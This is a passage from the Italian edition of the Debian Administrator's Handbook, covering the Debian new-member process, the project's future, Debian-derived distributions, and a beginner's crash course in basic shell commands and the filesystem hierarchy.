I comandi dupload e dput permettono il caricamento di un pacchetto Debian su un server (anche remoto). Questo permette agli sviluppatori di pubblicare il proprio pacchetto sul server principale di Debian (ftp-master.debian.org) in modo che possa essere integrato nell'archivio e distribuito nei mirror. Questi comandi prendono il file *.changes come parametro e deducono gli altri file importanti dal suo contenuto.

15.4.2. Processo di accettazione

Diventare uno sviluppatore Debian non è una semplice questione amministrativa. Il processo è costituito da diverse fasi, ed è tanto un'iniziazione quanto un processo di selezione. In ogni caso, l'intero processo è formalizzato e ben documentato, in modo che chiunque spuò monitorarne l'avanzamento di stato sul sito web dedicato al processo per il nuovo membro.

→ http://nm.debian.org/

EXTRA Processo semplificato per «Maintainer Debian»

"Debian maintainer" è un'altro status che da meno privilegi dello status di "Debian Developer" ma che ha un processo di associazione più veloce. Con questo status, i contributori possono mantenere solo i loro pacchetti. È necessario solo che uno sviluppatore Debian esegua un controllo sul caricamento iniziale, e pubblichi una dichiarazione in cui risulti che ci si fida della capacità del possibile futuro maintainer di mantenere il pacchetto in maniera autonoma.

15.4.2.1. Prerequisiti

Tutti i candidati sono tenuti ad avere almeno una conoscenza di base della lingua inglese. Questo è necessario a tutti i livelli: per le comunicazioni iniziali con l'esaminatore, naturalmente, ma anche più avanti, dal momento che l'inglese è la lingua preferita per la maggior parte della documentazione, anche gli utilizzatori del pacchetto comunicheranno in inglese per la segnalazione di bug e si aspetteranno delle risposte in inglese.

Altri prerequisiti dipendono dalla motivazione. Diventare uno sviluppatore Debian è un processo che ha senso solo se il candidato sa che l'interesse per Debian durerà per molti mesi. Il processo di accettazione può durare diversi mesi ed ha bisogno di sviluppatori Debian a lungo termine, ogni pacchetto ha bisogno di manutenzione permanente, e non solo un caricamento iniziale.

15.4.2.2. Registrazione

Il primo (vero) passo consiste nel trovare uno sponsor o un sostenitore, il che significa uno sviluppatore ufficiale disposto a dichiarare che crede che accettare X sarebbe una buona cosa per Debian. Ciò implica in genere che il candidato sia già attivo all'interno della comunità e che il suo lavoro sia stato apprezzato. Se il candidato è timido e il suo lavoro non viene elogiato pubblicamente, può cercare di convincere uno sviluppatore Debian a sostenerlo, mostrandogli il suo lavoro in privato.

Al tempo stesso, il candidato deve generare una coppia, pubblica/privata, di chiavi RSA con GnuPG, che dovrebbe essere firmata da almeno due sviluppatore ufficiale Debian. La firma autentica il nome della chiave. In effetti, durante un key signing party, ogni partecipante deve mostrare un documento di identità ufficiale (solitamente una carta di identità o un passaporto) insieme all'identificativo della chiave. Questo passaggio conferma il legame tra la persona e la chiave. Questa firma richiede pertanto un riscontro nella vita reale. Se non si è ancora incontrato alcun sviluppatore Debian in una conferenza pubblica sul software libero, si possono cercare gli sviluppatori che vivono nelle vicinanze utilizzando l'elenco alla seguente pagina web come punto di partenza.

→ https://wiki.debian.org/Keysigning

Una volta che la registrazione sul sito nm.debian.org è stata convalidata dal sostenitore, al candidato viene assegnato un Application Manager. Da quel portale, l'application manager guiderà poi il processo attraverso diversi passaggi e controlli predefiniti.

La prima verifica è un controllo d'identità. Se si possiede già una chiave firmata da due sviluppatori di Debian, questo passaggio è semplice; altrimenti, l'application manager cercherà di guidare il candidato alla ricerca di sviluppatori Debian nelle vicinanze per organizzare un incontro e firmare la chiave.

15.4.2.3. Accettare i principi

Queste formalità amministrative sono seguite da considerazioni filosofiche. Il punto è fare in modo che il candidato capisca e accetti il contratto sociale e i principi alla base del Software Libero. Partecipare a Debian è possibile solo se si condividono i valori che uniscono gli attuali sviluppatori, espressi nei testi dei fondamentali (e riassunti in Capitolo 1, Il Progetto Debian).

Inoltre, ogni candidato che desidera aderire a Debian è tenuto a conoscere il funzionamento del progetto, e come interagire in modo appropriato per risolvere i problemi che, senza dubbio, si incontreranno col passare del tempo. Tutte queste informazioni sono generalmente documentate nei manuali rivolti ai nuovi maintainer e nella guida di riferimento per lo sviluppatore Debian. Una lettura attenta di questo documento dovrebbe essere sufficiente per rispondere alle domande dell'esaminatore. Se le risposte non sono soddisfacenti, il candidato sarà informato. Quindi, dovrà leggere (nuovamente) la relativa documentazione prima di riprovare. Nei casi in cui la documentazione esistente non contenesse la risposta appropriata per la domanda, il candidato di solito può trovare una risposta, facendo un po' di esperienza pratica in Debian, oppure discutendone con altri sviluppatori Debian. Questo meccanismo garantisce che i candidati vengano coinvolti un po' in Debian prima di diventare parte integrante del progetto. Si tratta di una scelta intenzionale, con la quale i candidati che alla fine aderiranno al progetto sono integrati come un altro pezzo di un puzzle infinitamente espandibile.

Questo passaggio è generalmente conosciuto come Philosophy & Procedures (P&P in breve) nel gergo degli sviluppatori coinvolti nel processo per i nuovi membri.

15.4.2.4. Verifica delle capacità

Ogni domanda per diventare uno sviluppatore ufficiale Debian deve essere giustificata. Per diventare un membro del progetto è necessario dimostrare di meritare tale stato e che lo stato di membro, semplifichi il contributo del candidato allo sviluppo di Debian. La giustificazione più comune è che sia concesso lo status di sviluppatore Debian perché facilita la manutenzione di un pacchetto Debian, ma non è l'unico motivo. Alcuni sviluppatori aderiscono al progetto per contribuire al porting di una specifica architettura, altri vogliono migliorare la documentazione, e così via.

Questo passaggio rappresenta l'occasione per il candidato di indicare che cosa intende fare nell'ambito del progetto Debian e di mostrare ciò che ha già fatto in tal senso. Debian è un progetto pragmatico e dire qualcosa che non è sufficiente, se non si compiono le azioni vengono annunciate. Generalmente, quando il ruolo previsto all'interno del progetto è legato alla manutenzione dei pacchetti, una prima versione del potenziale pacchetto dovrà essere convalidata tecnicamente e caricata sui server di Debian da uno sponsor tra gli sviluppatori Debian.

COMUNITÀ Sponsorizzazione

Gli sviluppatori Debian possono «sponsorizzare» i pacchetti preparati da qualcun altro, pubblicandoli nei repository ufficiali di Debian dopo aver effettuato un attento esame. Questo meccanismo consente alle persone esterne, che non sono ancora passate attraverso il processo per il nuovo maintainer, di contribuire al progetto di tanto in tanto. Allo stesso tempo, garantisce che tutti i pacchetti in Debian siano sempre controllati da un membro ufficiale.

Infine, l'esaminatore verifica le abilità tecniche del candidato (la pacchettizzazione) con un questionario dettagliato. Non sono ammesse risposte sbagliate, ma il tempo per rispondere è illimitato. Tutta la documentazione è disponibile e sono consentiti diversi tentativi, se le prime risposte non sono soddisfacenti. Questo passaggio non ha come obiettivo quello di discriminare i candidati, ma assicurarsi che i nuovi collaboratori abbiamo un minimo di conoscenza.

Questo passaggio è noto come il passaggio Tasks & Skills (T&S abbreviato) nel gergo degli esaminatori.

15.4.2.5. Approvazione finale

Nell'ultima fase, l'intero processo è revisionato da un DAM (Debian Account Manager). Il DAM riesaminerà tutte le informazioni sul candidato che l'esaminatore ha raccolto e deciderà se creare o meno un account nei server Debian. Nei casi in cui sono richieste ulteriori informazioni, la creazione dell'account può essere rinviata. I rifiuti sono piuttosto rari se l'esaminatore fa un buon lavoro seguendo in maniera corretta l'iter, ma a volte succede. In ogni caso il rifiuto non è permanente e il candidato è libero di riprovare in un secondo momento.

La decisione del DAM è autorevole e (quasi) senza appello, il che spiega perché le persone in questa posizione sono state spesso criticate in passato.

Capitolo 16. Conclusione: Il futuro di Debian

La storia della Falcot Corp si conclude con questo ultimo capitolo, ma Debian prosegue, e il futuro porterà certamente molte sorprese interessanti.

16.1. Sviluppi futuri

Ora che è stata rilasciata la versione 10 di Debian, gli sviluppatori sono già impegnati a lavorare sulla prossima versione, nome in codice Bullseye…

Non esiste una lista ufficiale di modifiche pianificate e Debian non fa promesse su obiettivi tecnici per le versioni future. Tuttavia, si possono notare alcuni tendenze di sviluppo e si potrebbe immaginare ciò che potrebbe accadere (oppure no).

Al fine di migliorare la sicurezza e la fiducia, un numero crescente di pacchetti verranno creati in modo riproducibile; vale a dire, che sarà possibile ricostruire byte-per-byte pacchetti binari identici ai pacchetti sorgente, permettendo così a tutti di verificare che non ci siano state manomissioni durante la generazione degli stessi. Questa funzionalità potrebbe anche essere richiesta dai responsabili del rilascio per testare la migrazione.

A questo proposito, è stato fatto un grande sforzo per migliorare la sicurezza di default, con un maggior numero di pacchetti completi del profilo AppArmor.

Naturalmente, tutte le principali suite di software avranno avuto importanti aggiornamenti. L'ultima versione dei vari desktop porterà una migliore usabilità e nuove funzionalità. Wayland, il nuovo server grafico renderà X11 totalmente obsoleto.

Con l'uso diffuso dell'integrazione continua e la crescita dell'archivio (e dei pacchetti più grandi!), i vincoli sulle architetture rilasciate saranno più difficili da soddisfare ed alcune architetture saranno eliminate (come mips, mipsel e forse mips64el).

16.2. Futuro di Debian

Oltre a questi sviluppi interni, ci si può ragionevolmente aspettare che vengano alla luce nuove distribuzioni basate su Debian, grazie agli strumenti che continuano semplificare questo compito. Saranno avviati anche nuovi sottoprogetti specializzati, al fine di ampliare la portata di Debian verso nuovi orizzonti.

La comunità degli utenti Debian aumenterà e nuovi collaboratori si uniranno al progetto... compreso, forse, anche te!

Ci sono discussioni ricorrenti su come l'ecosistema software si sta evolvendo verso le applicazioni all'interno di container, dove i pacchetti Debian non hanno un valore aggiunto, o con gestori di pacchetti specifici del linguaggio (ad esempio pip per Python, npm per JavaScript e così via), che stanno rendendo obsoleti dpkg e apt). Sono convinto che gli sviluppatori Debian, di fronte a queste minacce, troveranno il modo di abbracciare queste evoluzioni e continueranno a fornire un valore aggiunto agli utenti.

Nonostante la sua età e le sue dimensioni considerevoli, Debian continua a crescere in tutte le (a volte inaspettate) direzioni. Collaboratori brulicano di idee, e le discussioni nelle mailing list di sviluppo, anche quando sembrano litigi, aumentano il progresso. Debian a volte è paragonata ad un buco nero, di tale densità che attrae ogni nuovo progetto di software libero.

Al di là dell'evidente soddisfazione della maggior parte degli utenti Debian, una profonda tendenza sta diventando sempre più indiscutibile: le persone sono sempre più consapevoli che la collaborazione, piuttosto che lavorare da soli, porta a risultati migliori per tutti. Questa è la logica usata dalle distribuzioni che si uniscono a Debian per mezzo di sottoprogetti.

Il progetto Debian non è quindi a rischio di estinzione…

16.3. Futuro di questo libro

Vorremmo che questo libro evolvesse nello spirito del software libero. Accogliamo quindi con favore contributi, osservazioni, suggerimenti, e critiche. Inviatele direttamente a Raphaël (<hertzog@debian.org>) oppure a Roland (<lolando@debian.org>). Per i feedback, sentitevi liberi di aprire segnalazioni di bug nei confronti del pacchetto Debian debian-handbook. Il sito web sarà utilizzato per raccogliere tutte le informazioni utili alla sua evoluzione, in particolare se si desidera tradurre questo libro per renderlo disponibile ad un pubblico ancora più ampio rispetto ad oggi.

→ https://debian-handbook.info/

Abbiamo cercato di integrare la maggior parte di ciò che la nostra esperienza con Debian ci ha insegnato, in modo che chiunque possa usare questa distribuzione ed ottenerne il massimo vantaggio nel più breve tempo possibile. Speriamo che questo libro contribuisca a rendere Debian più facile e popolare, ed accogliamo con favore la pubblicità attorno ad esso!

Vorremmo concludere con una nota personale. Scrivere (e tradurre) questo libro ha sottratto una notevole quantità di tempo dalla nostra consueta attività professionale. Dal momento che siamo entrambi consulenti freelance, ogni nuova fonte di reddito ci dà la libertà di dedicare più tempo a migliorare Debian; ci auguriamo che il successo di questo libro possa contribuire a questo. Nel frattempo, sentitevi liberi di avvalervi dei nostri servizi!

→ https://www.freexian.com

→ http://www.gnurandal.com

Arrivederci a presto!

Appendice A. Distribuzioni derivate

Molte distribuzioni Linux sono derivate di Debian e riusano gli strumenti di gestione dei pacchetti di debian. Tutte hanno le loro proprietà interessanti ed è possibile che una di loro soddisfi più di Debian stessa.

A.1. Censimento e cooperazione

Il progetto Debian, riconosce pienamente l'importanza delle distribuzioni derivate e supporta la collaborazione tra tutte le parti coinvolte. Questo usualmente comporta l'incorporazione delle migliorie inizialmente sviluppate dalle distribuzioni derivate, in modo che tutti possano trarne beneficio e per ridurre il lavoro di manutenzione a lungo termine.

Questo spiega perché le distribuzioni derivate sono invitate a partecipare alle discussioni sulla mailing-list debian-derivatives@lists.debian.org, ed a partecipare al censimento delle derivate. Questo censimento ha lo scopo di raccogliere informazioni sul lavoro che avviene nelle derivate in modo che i manutentori Debian ufficiali possano seguire meglio lo stato del loro pacchetto in varianti di Debian.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

Vediamo ora di descrivere brevemente le distribuzioni derivate più interessanti e popolari.

A.2. Ubuntu

Ubuntu ha fatto un grande scalpore quando è arrivata sulla scena del software libero, e per buone ragioni: Canonical Ltd., la società che ha creato questa distribuzione, ha iniziato con l'assunzione di una trentina di programmatori Debian ed ha dichiarato pubblicamente di voler raggiungere l'obiettivo di fornire una distribuzione per il grande pubblico due volte l'anno. Si sono inoltre impegnati a mantenere ogni versione per un anno e mezzo.

Questi obiettivi comportano necessariamente una riduzione dell'ambito; Ubuntu si concentra su un numero minore di pacchetti rispetto a Debian e si basa principalmente sul desktop GNOME (sebbene se ci sono derivate fornite con altri ambienti desktop). Tutto è internazionalizzato e reso disponibile in moltissime lingue.

Finora, Ubuntu è riuscito a tenere questo ritmo di rilascio. Vengono pubblicati anche dei rilasci Long Term Support (LTS), con una promessa di manutenerli 5 anni. A Giugno 2019, la versione LTS corrente è la 18.04, soprannominata Bionic Beaver. L'ultima versione non LTS è la 19.04, soprannominata Disco Dingo. I numeri di versione descrivono la data di rilascio: 19.04, per esempio, è stata rilasciata nel mese di Aprile 2019.

IN PRATICA Promessa di supporto e manutenzione di Ubuntu

Canonical ha modificato più volte le norme che disciplinano la durata del periodo durante il quale è mantenuto un dato rilascio. Canonical, come una società, promette di fornire gli aggornamenti di sicurezza per tutto il software disponibile nelle sezioni main e restricted dell'archivio di Ubuntu, per 5 anni per i rilasci LTS e per 9 mesi per i rilasci non-LTS. Tutto il resto (disponibile in universe e multiverse) è mantenuto su base best-effort (miglio sforzo) da volontari del team MOTU (Masters Of The Universe). Siate pronti a gestire il supporto di sicurezza da soli se utilizzate pacchetti di queste ultime sezioni.

Ubuntu ha raggiunto una vasta platea del grande pubblico. Milioni di utenti sono rimasti impressionati dalla sua facilità di installazione, ed dal lavoro che è stato fatto per rendere il desktop facile da usare.

Ubuntu e Debian avevano un rapporto teso; gli sviluppatori di Debian, che avevano riposto grandi speranze nel contributo diretto che Ubuntu avrebbe potuto dare, sono stati delusi dalla differenza tra il marketing di Canonical, che implica che Ubuntu sia un buon cittadino nel mondo del Software Libero e la pratica reale dove sono state semplicemente rese pubbliche le modifiche applicate ai pacchetti Debian. Le cose sono migliorate nel corso degli anni ed ora per Ubuntu è consuetudine inoltrare le patch in modo appropriato (anche se questo vale solo per il software esterno che viene pacchettizzato e non per il software di Ubuntu come Mir o Unity).

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint è una distribuzione gestita (in parte) dalla comunità, sostenuta da donazioni e pubblicità. Il suo prodotto di punta è basato su Ubuntu, ma viene fornita anche una variante "Linux Mint Debian Edition", che si evolve in modo continuo (in quanto si basa su Debian Testing). In entrambi i casi, l'installazione iniziale comporta l'avvio di un DVD live o di un dispositivo USB live.

La distribuzione mira a semplificare l'accesso alle tecnologie avanzate e fornisce specifiche interfacce grafiche oltre al normale software. Per esempio, Linux Mint si basa di default su Cinnamon invece di GNOME (ma include anche MATE e Xfce); allo stesso modo, l'interfaccia di gestione dei pacchetti, sebbene basata su APT, fornisce un'interfaccia specifica con una valutazione del rischio da ciascun pacchetto aggiornato.

Linux Mint include una grande quantità di software proprietario in modo da migliorare l'esperienza degli utenti che ne hanno bisogno. Ad esempio: Adobe Flash e codec multimediali.

→ https://linuxmint.com/

A.4. Knoppix

La distribuzione Knoppix non ha bisogno di presentazioni. È stata la prima distribuzione popolare a fornire un live CD; in altre parole, un CD-ROM che esegue un sistema Linux chiavi in mano senza necessità di un hard-disk — qualsiasi sistema già installato sulla macchina sarà lasciato intatto. Il rilevamento automatico dei dispositivi disponibili permette a questa distribuzione di funzionare nella maggior parte delle configurazioni hardware. Il CD-ROM comprende quasi 2 GB (compressi) di software e la versione DVD-ROM ne ha ancora di più.

Combinare questo CD-ROM e una chiavetta USB permette di portare i propri file con sé, e di lavorare su qualsiasi computer senza lasciare traccia — si ricordi che questa distribuzione non usa affatto l'hard disk. Knoppix è in gran parte basato su LXDE (un desktop grafico leggero) per impostazione predefinita, ma la versione DVD include anche GNOME e KDE. Molte altre distribuzioni forniscono altre combinazioni di desktop e software. Questo è, in parte, reso possibile grazie al pacchetto Debian live-build che rende relativamente facile la creazione di un live CD.

→ https://live-team.pages.debian.net/live-manual/

Notare che Knoppix fornisce anche un installatore: si può provare prima la distribuzione come live CD, poi installarla su un hard disk per avere migliori prestazioni.

→ https://www.knopper.net/knoppix/index-en.html

A.5. Aptosid e Siduction

Questa distribuzione basata sulla comunità segue i cambiamenti di Debian Sid (Instabile) — da cui il nome. Le modifiche sono di portata limitata: l'obiettivo è di fornire il software più recente e di aggiornare i driver per l'hardware più recente, pur consentendo agli utenti di tornare alla distribuzione ufficiale Debian in qualsiasi momento. Aptosid era conosciuto precedentemente come Sidux, e Siduction è un fork più recente di aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml è un live CD con molti strumenti per gli amministratori di sistema che hanno a che fare con installazione, distribuzione e recupero dei sistemi. Il live CD è fornito in due versioni, full e small, entrambe disponibili per PC a 32-bit e 64-bit. Ovviamente, le due versioni differiscono per la quantità di software incluso e la dimensione che ne risulta.

→ https://grml.org

A.7. Tails

Tails (The Amnesic Incognito Live System) mira a fornire un sistema live che preserva l'anonimato e la privacy. Mette grande cura nel non lasciare alcuna traccia sul computer su cui gira, e utilizza la rete Tor per collegarsi a Internet nel modo più anonimo possibile. https://tails.boum.org

A.8. Kali Linux

Kali Linux è una distribuzione basata su Debian specializzata in test di penetrazione ("pentesting" in breve). Essa fornisce software che aiutano nel controllo della sicurezza di una rete esistente o di un computer in funzione e nella sua analisi dopo un attacco (pratica nota come "computer forensics").

→ https://kali.org

A.9. Devuan

Deuvan è un fork di Debian iniziato nel 2014 come reazione alla decisione presa da Debian di passare a systemd come sistema di init predefinito. Un gruppo di utenti affezionato a sysv e contrario agli svantaggi di systemd ha iniziato Deuvan con l'obiettivo di mantentenere un sistema senza systemd.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux si rivolge bambini (a partire da 2 anni). Per raggiungere questo obiettivo, fornisce un'interfaccia grafica fortemente personalizzato (basata su LXDE) e viene fornita con molti giochi e applicazioni educative. L' accesso a Internet è filtrato per impedire ai bambini di visitare siti web problematici. Gli annunci sono bloccati. L'obiettivo dovrebbe essere quello di permettere ai genitori di essere liberi di lasciare che i loro figli usino il computer una volta avviato DoudouLinux. E i bambini devono amare DoudouLinux, proprio come si godono la loro console di gioco.

→ https://www.doudoulinux.org

A.11. Raspbian

Raspbian è una ricostruzione di Debian ottimizzata per il popolare (e poco costoso) computer single-board della famiglia Raspberry Pi. L'hardware per quella piattaforma è più potente di quello che l'architettura Debian armel può sfruttare, ma manca di alcune funzionalità che sarebbero richieste per armhf; così Raspbian è una sorta di intermediario, ricostruita appositamente per quell'hardware includendo le patch destinate solo a questo computer.

→ https://raspbian.org

A.12. PureOS

PureOS è una distribuzione basata su Debian focalizzata su privacy, convenienza e sicurezza. Segue le GNU Free System Distribution Guidelines, utilizzate dalla Free Software Foundation per qualificare una distribuzione come libera. L'azienda Purism (Social Purpose Corporation) guida il suo sviluppo.

→ https://pureos.net/

A.13. SteamOS

SteamOS è una distribuzione basata su Debian, orientata al gioco, sviluppata da Valve Corporation. È usata nella Steam Machine, una linea di console per videogiochi.

→ https://store.steampowered.com/steamos/

A.14. E molte altre

Il sito web Distrowatch fa riferimento a un numero enorme di distribuzioni Linux, alcune delle quali sono basate su Debian. Navigare in questo sito è un buon modo per farsi un'idea della diversità nel mondo del software libero.

→ https://distrowatch.com

Il modulo di ricerca può aiutare a rintracciare una distribuzione basata sulla sua discendenza. A Giugno 2019, selezionando Debian venivano restituite 127 distribuzioni attive!

→ https://distrowatch.com/search.php

Appendice B. Breve Corso di Recupero

Anche se questo libro si rivolge in primo luogo ad amministratori e "power-user", non vorremmo escludere principianti motivati. Questa appendice sarà quindi un corso intensivo che descrive i concetti fondamentali coinvolti nella gestione di un computer Unix.

B.1. Shell e Comandi di Base

Nel mondo Unix, ogni amministratore deve usare la riga di comando, prima o poi; ad esempio, quando il sistema non si avvia correttamente e fornisce solo un modalità di ripristino della riga di comando. Essere in grado di gestire questo tipo di interfaccia, quindi, è una competenza di base di sopravvivenza per queste circostanze.

RAPIDO SGUARDO Avvio dell'interprete dei comandi

Un ambiente a riga di comando può essere eseguito dal desktop grafico, tramite un'applicazione conosciuta come "terminale". In GNOME, è possibile avviarlo dall'overview "Attività" (che si attiva portando il puntatore del mouse nell'angolo in alto a sinistra dello schermo), digitando la prima lettera del nome dell'applicazione. In Plasma, si trova nel menu K → Applicazioni → Sistema.

Questa sezione da solo un rapido sguardo ai comandi. Tutti hanno molte opzioni qui non descritte, quindi per favore fare riferimento all'abbondante documentazione nelle loro rispettive pagine di manuale.

B.1.1. Navigazione nell'Albero delle Directory e Gestione dei File

Una volta aperta la sessione, il comando pwd (che sta per directory del lavoro di stampa print working directory) visualizza la posizione corrente nel filesystem. La directory corrente viene cambiata con il comando cd directory (cd sta per cambia directory change directory). La directory superiore è sempre chiamata .. (due punti), mentre la directory corrente è conosciuta anche come . (un punto). Il comando The ls permette di elencare listing il contenuto di una directory. Se non viene passato nessun parametro, opera nella directory corrente.

$ pwd

/home/marco

$ cd Scrivania

$ pwd

/home/marco/Scrivania

$ cd .

$ pwd

/home/marco/Scrivania

$ cd ..

$ pwd

/home/marco

$ ls

Immagini Modelli Pubblici Scrivania

Documenti Musica Scaricati Video

Una direcory può essere creata con mkdir directory, ed una directory esistente (vuota) può essere rimossa con rmdir directory. Il comando mv permette lo spostamento (moving) e/o di rinominare file e directory; la rimozione (removing) di un file è effettuata con rm file.

$ mkdir test

$ ls

Immagini    Modelli  Pubblici Scrivania  Documenti

Musica  Scaricati      Video    test

$ mv test new

$ ls

Immagini    Modelli  new       Scaricati     Video

Documenti  Musica      Pubblici  Scrivania

$ rmdir new

$ ls

Immagini    Modelli  Pubblici  Scrivania  Documenti

Musica  Scaricati      Video

B.1.2. Visualizzazione e Modifica dei File di Testo

Il comando cat file (destinato a concatenare file al dispositivo di output standard) legge un file e ne visualizza il contenuto sul terminale. Se il file è troppo grande per essere visualizzato sullo schermo, usare un comando come less (oppure more) per visualizzarlo per pagina per pagina.

Il comando editor avvia un editor testi (come ad esempio vi o nano) e permette di creare, modificare e leggere file di testo. È possibile creare file particolarmente semplici, direttamente dalla linea di comando, utilizzando la ridirezione: echo "text" >file crea un file chiamato file contenente “text”. È anche possibile aggiungere una linea alla fine del file, con un comando come: echo "moretext" >>file. Notare il doppio >> in questo secondo esempio.

B.1.3. Ricerca dei File e all'interno dei File

Il comando find directory criterio cerca i file all'interno di una directory in base a diversi criteri. Il criterio usato più comunemenete è -name nome: che permette di ceracre un file tramite il nome.

Il coamndo grep expressione files cerac il contenuto dei file ed estrae le linee corrispondenti all'espressione regolare (vedi riquadro FONDAMENTALI Espressioni regolari). Aggiungendo l'opzione -r consente una ricerca ricorsiva su tutti i file contenuti nella directory passata come parametro. Questo permette di cercare un file quando è nota solo una parte del suo contenuto.

B.1.4. Gestione Processi

Il comando ps aux elenca i processi in esecuzione ed aiuta ad identificarli mostrando il loro pid (process id). Una volta conosciuto il pid di un processo, il comando kill -signal pid permette di inviare un segnale (se il processo appartiene all'utente corrente). Esistono diversi segnali; i più comunemente usati sono TERM (una richiesta a terminare in modo naturale) e KILL (un'arresto forzato).

L'interprete dei comandi può anche eseguire i programmi in background se il comando è seguito da una "&". Utilizzando la e commerciale, l'utente riprende immediatamente il controllo della shell anche se il comando è ancora in esecuzione (nascosto all'utente; come processo in background). Il comando jobs elenca i processi in esecuzione in background; eseguendo fg %numero-lavoro (per foreground) il processo viene riportato in primo piano. Quando un comando è in esecuzione in primo piano (o perché è stato avviato normalmente, o perchè riportato in primo piano con fg), la combinazione dei tasti Control+Z sospende il processo e riprende il controllo della riga di comando. Il processo può essere riavviato in background con bg %numero-lavoro (per background).

B.1.5. Informazioni di Sistema: Memoria, Spazio su Disco, Identità

Il comando free visualizza le informazioni sulla memoria; df (disk free) riporta la disponibilità di spazio su ogni disco montato nel filesystem. La sua opzione -h (per human readable leggibile dagli umani) converte le dimensioni in unità più leggibili (solitamente megabyte o gigabyte). Allo stesso modo, il comando free supporta le opzioni -m e -g, e visualizza i dati, rispettivamente in megabyte o in gigabyte.

$ free

total        used        free      shared  buff/cache   available

Mem:       16279260     5910248      523432      871036     9845580     9128964

Swap:      16601084      240640    16360444

$ df

Filesystem                1K-blocks      Used Available Use% Mounted on

udev                        8108516         0   8108516   0% /dev

tmpfs                       1627928    161800   1466128  10% /run

/dev/mapper/vg_main-root  466644576 451332520  12919912  98% /

tmpfs                       8139628    146796   7992832   2% /dev/shm

tmpfs                          5120         4      5116   1% /run/lock

tmpfs                       8139628         0   8139628   0% /sys/fs/cgroup

/dev/sda1                    523248      1676    521572   1% /boot/efi

tmpfs                       1627924        88   1627836   1% /run/user/1000

Il id visualizza l'identità dell'utente che esegue la sessione, insieme alla lista dei gruppi a cui appartiene. Poiché l'accesso ad alcuni file o dispositivi può essere limitata ai membri del gruppo, può essere utile verificare l'appartenenza al gruppo disponibile.

$ id

uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organizzazione della Gerarchia del Filesystem

B.2.1. La Directory Root

Un sistema Debian è organizzato secondo il Filesystem Hierarchy Standard (FHS). Questo standard definisce lo scopo di ogni directory. Per esempio, le directory di primo livello sono descritte come segue:

- /bin/: programmi base;

- /boot/: kerne Linux ed altri file necessari per il suo processo d'avvio;

- /dev/: file del dispositivo;

- /etc/: files di configurazione;

- /home/: file personali dell'utente;

- /lib/: libraries di base;

- /media/*: punti di mount per i dispositivi rimovibili (CD-ROM, chiavette USB ecc.);

- /mnt/: punto di mount temporaneo;

- /opt/: applicazioni extra fornite da terze parti;

- /root/: file personali dell'ammininistratore (dell'utente root);

- /run/: dati volatili non persistènti tra i riavvii;

- /sbin/: programmi di sistema;

- /srv/: dati usati dal server opsitato sul sistema;

- /tmp/: file temporanei; questa directory è spesso svuotata all'avvio;

- /usr/: applicazioni; questa directory è ulteriormente suddivisa in bin, sbin, lib (seguendo la logica della directory principale). Inoltre, /usr/share/ contiene i dati indipendenti dall'architettura. /usr/local/ è pensato per essere utilizzato dall'amministratore per installare manualmente le applicazioni senza sovrascrivere i file gestiti dal sistema di impacchettamento (dpkg).

- /var/: dati variabili gestiti dai demoni. Questi includono file di log, code, spool, cache ecc.

- /proc/ e /sys/ sono specifici per il kernel Linux (e non fanno parte di FHS). Sono utilizzati dal kernel per l'esportazione dei dati nello spazio utente (vedi Sezione B.3.4, «Lo Spazio Utente» e Sezione B.5, «Lo Spazio Utente» per spiegazioni riguardo questo concetto).

Da nota che molte distribuzioni moderne, inclusa Debian, stanno offrendo /bin, /sbin e /lib come collegamenti simbolici alle directory corrispondenti sotto /usr in modo che tutti i programmi e le librerie siano disponibili in un unico albero. Semplifica la protezione dell'integrità dei file di sistema e la condivisione di tali file tra più contenitori, ecc.

B.2.2. Directory Home dell'Utente

I contenuti della directory home dell'utente non sono standardizzati, ma ci sono ancora alcune convenzioni degne di nota. Una è che spesso la directory home dell'utente viene spesso definita da una tilde (“~”). Questo è utile da sapere poichè gli interpreti di comando sostituiscono automaticamente una tilde con la directory corretta (di solito /home/utente/).

Tradizionalmente, i file di configurazione dell'applicazione vengono spesso memorizzati direttamente nella directory home dell'utente, ma i loro nomi di solito iniziano con un punto (per esempio, il client email mutt salva la sua configurazione in ~/.muttrc). Si noti che i nomi dei file che iniziano con un punto sono nascosti per impostazione predefinita; ed il comando ls li elenca solo quando viene utilizzata l'opzione -a, ed i file manager grafici hanno bisogno di visualizzare i file nascosti.

Alcuni programmi utilizzano anche più file di configurazione organizzati in una directory (ad esempio, ~/.ssh/). Altre applicazioni (come ad esempio Firefox) usano anche loro directory per memorizzare una cache di dati scaricati. Questo significa che quelle directory possono finire per utilizzare una grande quantità di spazio su disco.

Questi file di configurazione archiviati direttamente nella home directory dell'utente, spesso comunemente denominati dotfiles, si sono nel tempo moltiplicati al punto che potrebbero riempire quasi interamente queste directory. Fortunatamente, uno sforzo condotto collettivamente sotto la direzione di FreeDesktop.org ha portato alla "XDG Base Directory Specification", un convegno che mira a ripulire questi file e directory. Questa specifica stabilisce che i file di configurazione devono essere conservati in ~/.config, file di cache in ~/.cache, e file di dati dell'applicazione in ~/.local (o in sottodirectory). Questa convenzione si sta lentamente consolidando, e diverse applicazioni (specialmente quelle grafiche) hanno iniziato a seguirla.

I desktop grafici di solito visualizzano i contenuti della directory ~/Desktop/ (o qualunque sia la traduzione appropriata per sistemi non configurati in inglese) sulla scrivania (vale a dire, ciò che è visibile sullo schermo una volta che tutte le applicazioni sono state chiuse o ridotte a icona).

Infine,a volte il sistema di posta elettronica memorizza la posta in arrivo nella dierctory ~/Mail/.

B.3. Funzionamento Interno di un Computer: i Diversi Livelli Coinvolti

Un computer è spesso considerato come qualcosa piuttosto astratto, e l'interfaccia visibile esternamente è molto più semplice rispetto alla complessità interna. Tale complessità deriva in parte dal numero di pezzi coinvolti. Tuttavia, questi pezzi possono essere visualizzati in strati, dove uno strato interagisce solo con quelli immediatamente sopra o sotto.

Un utente finale può utilizzarlo senza conoscere questi dettagli... fino a quando tutto funziona. Quando si affronta un problema come, "Internet non funziona!", la prima cosa da fare è identificare in quale strato ha avuto origine il problema. La scheda di rete (hardware) funziona? E' riconosciuta dal computer? Il kernel Linux la vede? I parametri di rete sono configurati correttamente? Tutte queste domande isolano uno strato adeguato e mettono a fuoco la potenziale fonte del problema.

